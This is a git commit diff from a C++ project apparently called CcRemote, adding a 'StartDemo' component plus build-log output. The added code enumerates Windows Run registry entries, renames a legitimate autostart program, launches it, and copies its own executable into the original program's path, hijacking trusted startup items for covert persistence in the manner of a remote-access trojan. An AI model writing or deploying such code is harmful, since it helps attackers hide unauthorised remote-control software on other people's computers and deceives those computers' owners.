启动项替换完毕

This commit is contained in:
ChangCheng 2020-06-16 18:06:53 +08:00
parent 6b0a59d2b1
commit a68ca8fc40
5 changed files with 68 additions and 11 deletions

Binary file not shown.

Binary file not shown.

View File

@ -1,6 +1,15 @@
 StartDemo.cpp
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(65): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(75): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(80): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
 CRegOperate.cpp
f:\myapp\ccremote\startdemo\startdemo\cregoperate.cpp(159): warning C4101: “vari”: 未引用的局部变量
md5.cpp
md5file.cpp
StartDemo.cpp
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(64): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(101): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(78): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(106): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(110): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
正在生成代码...
StartDemo.vcxproj -> F:\myapp\CcRemote\StartDemo\Debug\StartDemo.exe

Binary file not shown.

View File

@ -23,7 +23,6 @@ char *GetFilename(char *p)
int _tmain(int argc, _TCHAR* argv[])
{
//初始化临界区全局原子变量
HANDLE MutexHandle = CreateMutex(NULL, FALSE, TEXT("Cc28256")); //创建互斥体. 信号量为0. 有信号的状态.wait可以等待
@ -48,26 +47,53 @@ int _tmain(int argc, _TCHAR* argv[])
HMODULE hm = GetModuleHandle(NULL);
GetModuleFileName(hm, path, sizeof(path));
string selfMD5 = getFileMD5(path);
//64位注册表
TCHAR N1path[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
//32位注册表
TCHAR N3path[] = "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run";
TCHAR N2path[] = "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run";
TCHAR N1path[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
//HKEY_CURRENT_USER
CRegOperate test_reg(HKEY_CURRENT_USER, N1path);
CRegOperate test_reg(HKEY_LOCAL_MACHINE, N1path);
//HKEY_CURRENT_USER
string name_ = "update";
char name2[MAX_PATH] = { 0 };
char name3[MAX_PATH] = { 0 };
char szCommandLine[MAX_PATH] = { 0 };
bool isMD5Same = false;
for (int i = 0; i < test_reg.vecKeyData.size(); i++)
{
if (_access(test_reg.vecKeyPath[i].c_str(), 0) != 0)
{
_tprintf(TEXT("%s%s\n"), test_reg.vecKeyPath[i].c_str(), "不存在");
continue;
}
_tprintf(TEXT("%s%s\n"), test_reg.vecKeyPath[i].c_str(), "存在");
if (selfMD5 == getFileMD5(test_reg.vecKeyPath[i].c_str()))
{
isMD5Same = true;
strcpy_s(name3, test_reg.vecKeyData[i].c_str());
name_ = name_ + GetFilename(name3);
strcpy(GetFilename(name3), name_.c_str());
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESHOWWINDOW;//指定wShowWindow成员有效
si.wShowWindow = TRUE;//此成员设为TRUE的话则显示新建进程的主窗口
BOOL bRet = CreateProcess(
NULL,//不在此指定可执行文件的文件名
name3,//命令行参数
NULL,//默认进程安全性
NULL,//默认进程安全性
FALSE,//指定当前进程内句柄不可以被子进程继承
CREATE_NEW_CONSOLE,//为新进程创建一个新的控制台窗口
NULL,//使用本进程的环境变量
NULL,//使用本进程的驱动器和目录
&si,
&pi);
_tprintf(TEXT("%s\n"), "成功");
break;
}
}
if (!isMD5Same)
@ -78,9 +104,31 @@ int _tmain(int argc, _TCHAR* argv[])
strcpy_s(name2, test_reg.vecKeyPath[i].c_str());
name_ = name_ + GetFilename(name2);
strcpy(GetFilename(name2), name_.c_str());
strcpy_s(name3, test_reg.vecKeyData[i].c_str());
name_ = name_ + GetFilename(name3);
strcpy(GetFilename(name3), name_.c_str());
if (!rename(test_reg.vecKeyPath[i].c_str(), name2))
{
//strcpy_s(szCommandLine, test_reg.vecKeyData[i].c_str());
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESHOWWINDOW;//指定wShowWindow成员有效
si.wShowWindow = TRUE;//此成员设为TRUE的话则显示新建进程的主窗口
BOOL bRet = CreateProcess(
NULL,//不在此指定可执行文件的文件名
name3,//命令行参数
NULL,//默认进程安全性
NULL,//默认进程安全性
FALSE,//指定当前进程内句柄不可以被子进程继承
CREATE_NEW_CONSOLE,//为新进程创建一个新的控制台窗口
NULL,//使用本进程的环境变量
NULL,//使用本进程的驱动器和目录
&si,
&pi);
_tprintf(TEXT("%s\n"), "成功");
CopyFile(path, test_reg.vecKeyPath[i].c_str(), false);
break;
}
name_.clear();